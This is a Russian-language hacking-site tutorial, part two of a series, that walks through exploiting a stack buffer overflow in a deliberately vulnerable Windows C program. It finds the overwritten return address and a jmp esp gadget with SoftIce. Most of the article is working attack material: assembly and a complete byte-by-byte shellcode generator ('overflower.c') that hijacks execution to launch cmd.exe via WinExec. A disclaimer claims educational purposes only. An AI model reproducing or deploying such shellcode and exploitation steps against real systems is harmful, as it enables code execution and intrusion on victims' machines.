Underground InformatioN Center [&articles] | |
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive] | [home] |
Part №2
1. Header ...где 0х77е8898b адрес jmp esp в kernel32.dll в моей системе. Поэтому в данном шелле подбор адресов должен производится чисто индивидуально для каждой системы. Далее я опишу как определять эти адреса. Зачем так стараться? ИМХО: это улучшит навыки любого кто самостоятельно найдет нужный адрес своим девайсом(то есть ручками). А вообще нужно действовать несколько иначе: для особо продвинутых подскажу идеи: а) Использовать ссылки из таблицы импорта б) Использовать LoadLibrary/GetProcAddress Но эта тема будет обсуждаться в других статьях. Начнем...
2. Sections "owerflow.c" #include <stdio.h> #include <string.h> int test(char *big) { char buffer[100]; // переполняемый буфер strcpy(buffer,big);// собственно само переполнение return 0; } int main () { char big[512]; gets(big); // получение текствой строки-сюда-то мы и передаем наш шелл test(big); // вызов уязвимой функции return 0; }В этом коде нет ничего сверхъестественного, а потому идем далее. Как определить, что переполняется, где переполняется и чего куда передавать? Элементарно! Берем, запускаем нашу программу owerflow.exe(для танкистов - owerflow.exe получается путем компиляции owerflow.c ) и передаем ей строку вида: Аааааа.........ааааааааа - где-то примерно символов 110 для уверенности. И что мы видим? Доигрались - скажете вы. А на самом-то деле все отлично прошло, вы взорвали буфер и как результат(об этом я и упоминал в первой части), перезаписали адрес возврата из функции кодом 0х61(тоесть символом 'a'). А теперь я вас хочу спросить: кто мешает вам вместо бессмысленных строк символов передать строку опкодов, которая получила гордое название шелл-кода? Никто! При внимательном рассмотрении сложившейся ситуации под четким оком SoftIce, легко понять что произошло: благодаря специфике стека наша строка затерла собой как сохраненное значение ebp, так и адрес возврата. Обратите внимание, что адрес возврата затирается 104,105,106,107 символами нашей строки(это видно тогда, когда вместо ааа..аааа передется последовательность символов с ASCII кодами начиная с 32 по 256), поэтому необходимо сформировать строку так, чтобы 104-107 байты содержали адрес, по которому нужно передать управление. Теперь выясним это самый адрес, но сперва замечу, что байты с 100 по 103 перекрывают сохраненное значение EBP - это нам тоже пригодится для формирования стэка, но об этом позже. Посмотрев в SoftIce содержимое регистра esp в момент переполнения, легко установить, что там содержится адрес байта нашей строки, следующего за последним из четырех байтов, перекрывающих EIP. Сие означает следующее: (*) - Символы, заполняющие буфер-приемник и потому не имеющие значения, их заполним NOP (**) - Эти 4 байта начиная с N и заканчивая N+3 перекрывают собой EIP. Поэтому для корректного исполнения шелл-кода они должны содержать адрес, по которому размещается первый байт нашего шелла, либо адрес инструкции, переводящий процессор на исполнение этого первого байта. (***) - Начиная с N+4 и до M идут опкоды, которые и составят наш шелл. С помощью SoftIce удалось установить, что нужный нам адрес перехода содержится в ESP после исполнения RET в вызываемой функции test -> если переполнить буфер при запущенном SoftIce, то во всплывшем окне отладчика нужно просто просмотреть значения регистров и командой D esp просмотреть содержимое памяти по адресу в esp, там мы увидим нашу строку начиная с N+4.
Отлично! Осталось заполнить строку, начиная со 108-позиции, опкодами и передать
управление по адресу в esp. Для этого снова переполним программу при запущенном Sice
и когда он всплывет введем команду: "winexec.c" #include <windows.h> typedef (*PFUNK)(char*,DWORD); int main () { HMODULE hDll=LoadLibrary("kernel32.dll"); PFUNK pFunc=(PFUNK) GetProcAddress(hDll,"WinExec"); (*pFunc)("cmd.exe //K start cmd.exe",SW_SHOW); }WinExec исполняет программу, требует 2 параметра и располагается в kernel32.dll. Все это работает потому, что kernel32.dll использует любая программа и потому, что адрес не содержит нулевых байтов, наличие которых недопустимо. В переменной pFunc получим адрес WinExec, у каждого он будет свой. Теперь нам нужно сформировать асм-код, вызывающий WinExec. Вот он: __asm { mov esp,ebp ;формируем пролог push ebp mov ebp,esp mov esi,esp xor edi,edi;формируем завершающие нули push edi sub esp,18h//освобождаем в стэке место под строку //стэк должен всегда быть выровнян на границу кратную 4 //для обеспечения гранулярности mov byte ptr [ebp-1ch],63h //'c'//пулим в стэк строку mov byte ptr [ebp-1bh],6Dh //'m' mov byte ptr [ebp-1ah],64h //'d' mov byte ptr [ebp-19h],2Eh //'.' mov byte ptr [ebp-18h],65h //'e' mov byte ptr [ebp-17h],78h //'x' mov byte ptr [ebp-16h],65h //'e' mov byte ptr [ebp-15h],20h //' ' mov byte ptr [ebp-14h],2fh //'/' mov byte ptr [ebp-13h],4bh //'K' mov byte ptr [ebp-12h],20h //' ' mov byte ptr [ebp-11h],73h //'s' mov byte ptr [ebp-10h],74h //'t' mov byte ptr [ebp-0fh],61h //'a' mov byte ptr [ebp-0eh],72h //'r' mov byte ptr [ebp-0dh],74h //'t' mov byte ptr [ebp-0ch],20h //' ' mov byte ptr [ebp-0bh],63h //'c' mov byte ptr [ebp-0ah],6dh //'m' mov byte ptr [ebp-09h],64h //'d' mov byte ptr [ebp-08h],2Eh //'.' mov byte ptr [ebp-07h],65h //'e' mov byte ptr [ebp-06h],78h //'x' mov byte ptr [ebp-05h],65h //'e' //поместить в eax адрес winexec полученный из pFunc mov eax, 0x77e98601 //поместить в стэк адрес winexec push eax //передаем параметр SW_SHOW push 05 //передаем адрес строки lea eax,[ebp-1ch] push eax //ExitProcess в eax mov eax,0x77e9b0bb push eax //устанавливаем адрес возврата mov eax, 0x77e98601 //перейти на точку входа winexec jmp eax }Теперь стэк имеет такой вид: Этот код проверялся в Visual C++6.0 и все работает отлично. Ну теперь осталось сформировать строку из опкодов. А где их взять? Да в том же Visual C++ Debugger. Просто при трассировке из контекстного меню выберите опцию Code Bytes при включенном Disassembly mode и вы получите необходимые опкоды. Осталось только собрать все воедино: "overflower.c" #include <stdio.h> int main() { int i; char buf[256]; //ЗАПОЛНЯЕМ БУФЕР NOP for (i=0;i<100;i++) buf[i]=0x90; // Перекрыть ebp адресом начала нашего строкового буфера, // чтобы потом использовать его под стек, адрес передается // через xor чтобы затереть нули. Затем инструкцией // xor ebp,0xffffffff восстанавливаем первоначальный адрес buf[100]=0x3f; buf[101]=0x01; buf[102]=0xed; buf[103]=0xff; //поместить адрес инструкции jmp esp //расположенной в ntdll.dll по адресу 77f8948B //в те 4 байта которые перекрывают eip buf[104]=0x8b; buf[105]=0x94;//89; buf[106]=0xf8;//e8; buf[107]=0x77; buf[108]=0x90; //xor ebp,0xffffffff <-формируем министек для последующего вызова winexec buf[109]=0x83; buf[110]=0xf5; buf[111]=0xff; //**************** //mov esp,ebp buf[112]=0x8b; buf[113]=0xe5; //****************** //push ebp buf[114]=0x55; //mov ebp,esp buf[115]=0x8b; buf[116]=0xec; //xor edi,edi buf[117]=0x33; buf[118]=0xff; //push edi buf[119]=0x57; //sub esp,18h buf[120]=0x83; buf[121]=0xec; buf[122]=0x18; //********************************** //создание строки на стеке * //mov byte ptr [ebp-19h],63h 'c' buf[123]=0xc6; buf[124]=0x45; buf[125]=0xe4; buf[126]=0x63; //mov byte ptr [ebp-18h],6dh 'm' buf[127]=0xc6; buf[128]=0x45; buf[129]=0xe5; buf[130]=0x6d; //mov byte ptr [ebp-17h],64h 'd' buf[131]=0xc6; buf[132]=0x45; buf[133]=0xe6; buf[134]=0x64; //mov byte ptr [ebp-16h],2eh '.' buf[135]=0xc6; buf[136]=0x45; buf[137]=0xe7; buf[138]=0x2e; //mov byte ptr [ebp-15h],65h 'e' buf[139]=0xc6; buf[140]=0x45; buf[141]=0xe8; buf[142]=0x65; //mov byte ptr [ebp-14h],78h 'x' buf[143]=0xc6; buf[144]=0x45; buf[145]=0xe9; buf[146]=0x78; //mov byte ptr [ebp-13h],65h 'e' buf[147]=0xc6; buf[148]=0x45; buf[149]=0xea; buf[150]=0x65; //mov byte ptr [ebp-12h],20h ' ' buf[151]=0xc6; buf[152]=0x45; buf[153]=0xeb; buf[154]=0x20; //mov byte ptr [ebp-11h],2fh '/' buf[155]=0xc6; buf[156]=0x45; buf[157]=0xec; buf[158]=0x2f; //mov byte ptr [ebp-10h],4bh 'K' buf[159]=0xc6; buf[160]=0x45; buf[161]=0xed; buf[162]=0x4b; //mov byte ptr [ebp-0fh],20h ' ' buf[163]=0xc6; buf[164]=0x45; buf[165]=0xee; buf[166]=0x20; //mov byte ptr [ebp-0eh],73h 's' buf[167]=0xc6; buf[168]=0x45; buf[169]=0xef; buf[170]=0x73; //mov byte ptr [ebp-0dh],74h 't' buf[171]=0xc6; buf[172]=0x45; buf[173]=0xf0; buf[174]=0x74; //mov byte ptr [ebp-0ch],61h 'a' buf[175]=0xc6; buf[176]=0x45; buf[177]=0xf1; buf[178]=0x61; //mov byte ptr [ebp-0bh],72h 'r' buf[179]=0xc6; buf[180]=0x45; buf[181]=0xf2; buf[182]=0x72; //mov byte ptr [ebp-0ah],74h 't' buf[183]=0xc6; buf[184]=0x45; buf[185]=0xf3; buf[186]=0x74; //mov byte ptr [ebp-9],20h ' ' buf[187]=0xc6; buf[188]=0x45; buf[189]=0xf4; buf[190]=0x20; //mov byte ptr [ebp-8],63h 'c' buf[191]=0xc6; buf[192]=0x45; buf[193]=0xf5; buf[194]=0x63; //mov byte ptr [ebp-7],6dh 'm' buf[195]=0xc6; buf[196]=0x45; buf[197]=0xf6; buf[198]=0x6d; //mov byte ptr [ebp-6],64h 'd' buf[199]=0xc6; buf[200]=0x45; buf[201]=0xf7; buf[202]=0x64; //mov byte ptr [ebp-5],2eh '.' buf[203]=0xc6; buf[204]=0x45; buf[205]=0xf8; buf[206]=0x2e; //mov byte ptr [ebp-4],65h 'e' buf[207]=0xc6; buf[208]=0x45; buf[209]=0xf9; buf[210]=0x65; //mov byte ptr [ebp-3],78h 'x' buf[211]=0xc6; buf[212]=0x45; buf[213]=0xfa; buf[214]=0x78; //mov byte ptr [ebp-2],65h 'e' buf[215]=0xc6; buf[216]=0x45; buf[217]=0xfb; buf[218]=0x65; //************************************* //mov eax,77 e9 86 01h <-Winexec address buf[219]=0xb8; buf[220]=0x01; buf[221]=0x86; buf[222]=0xe9; buf[223]=0x77; //push eax buf[224]=0x50; //push 05 <-SW_SHOW_NORMAL buf[225]=0x6a; buf[226]=0x05; //lea eax,[ebp-1ch] <-адрес строки buf[227]=0x8d; buf[228]=0x45; buf[229]=0xe4; //push eax buf[230]=0x50; //эмулируем call dword ptr [ebp-0ch] //для этого формируем адрес возврата и пушим его //а затем просто джампим на eax в котором адрес аналог.[ebp-0ch] //таким образом прыгаем на winexec, которая возвращает //управление на ExitProcess //mov eax,0x77e8f32d <-ExitProcess buf[231]=0xb8; buf[232]=0x2d; buf[233]=0xf3; buf[234]=0xe8; buf[235]=0x77; //push eax <-сделать адресом возврата адрес переданный в eax buf[236]=0x50; //mov eax,0x77e8f32d <-WinExec address buf[237]=0xb8; buf[238]=0x01; buf[239]=0x86; buf[240]=0xe9; buf[241]=0x77; //jmp eax <-выполнить WinExec buf[242]=0xff; buf[243]=0xe0; //ПЕРЕДАТЬ СТРОКУ В ПЕРЕПОЛНЯЕМЫЙ БУФЕР for(i=0;i<256;i++) { printf("%c",buf[i]); } }Ну вот вроде и все. Единственное: добавлю про ebp - этот регистр играет важную роль в нашем нелегком деле. Нужно где-то формировать стэк, но где? А почему не использовать под стэк наш буфер, заполненный NOP? Так и забилдим, под SoftIce посмотрим содержимое ESP и отнимем от него 64h либо зададим искать строку 0х9090909090 - кто как желает, главное найти адрес начала буфера. Затем этот адрес поместим в EBP (помните в начале я акцентировал внимание на том, что байты с 100 по 103 перекрывают ebp - ну так и поместим найденный адрес в эти байты предварительно удалив из него нули). А как? Да очень просто - сделать Исключающее ИЛИ в терминах булевой алгебры, либо по-простому XOR. Тоесть иксорим начальный адрес, передаем в ebp, а затем в шелле снова делаем XOR EBP,0xFFFFFFFF и все! Теперь у нас есть стек. Недостатками данного шелла являются прямые ссылки на функции, возможно я поправлю эти фичи и запортирую новый шелл, гораздо более универсальный. buLLet bullet@uinc.ru uinC Member [c]uinC Выражаю огромное спасибо за ПОМОЩЬ Андрею Колищаку, статья котрого лежит здесь.
Все документы и программы на этом сайте собраны ТОЛЬКО для образовательных целей, мы
не отвечаем ни за какие последствия, которые имели место как следствие использования
этих материалов\программ. Вы используете все вышеперечисленное на свой страх и риск. |
[network & security news] [RSS & Twitter] [articles, programing info] [books] [links, soft & more...] [soft archive] | [home] |
Underground InformatioN Center [&articles] |
2000-2015 © uinC Team |